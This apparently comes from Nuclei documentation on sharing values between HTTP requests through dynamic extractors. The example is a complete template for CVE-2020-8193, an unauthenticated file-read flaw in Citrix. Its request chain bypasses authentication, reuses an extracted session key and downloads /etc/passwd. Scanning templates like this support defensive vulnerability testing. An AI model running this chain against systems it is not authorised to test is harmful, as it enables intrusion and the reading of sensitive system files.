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HTTP Value Sharing

In Nuclei, It is possible to extract value from one HTTP request and share/reuse it in another HTTP request. This has various use-cases like login, CSRF tokens and other complex. This concept of value sharing is possible using Dynamic Extractors. Here’s a simple example demonstrating value sharing between HTTP requests. This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response. 
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

http:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <clipermission></clipermission>

    cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body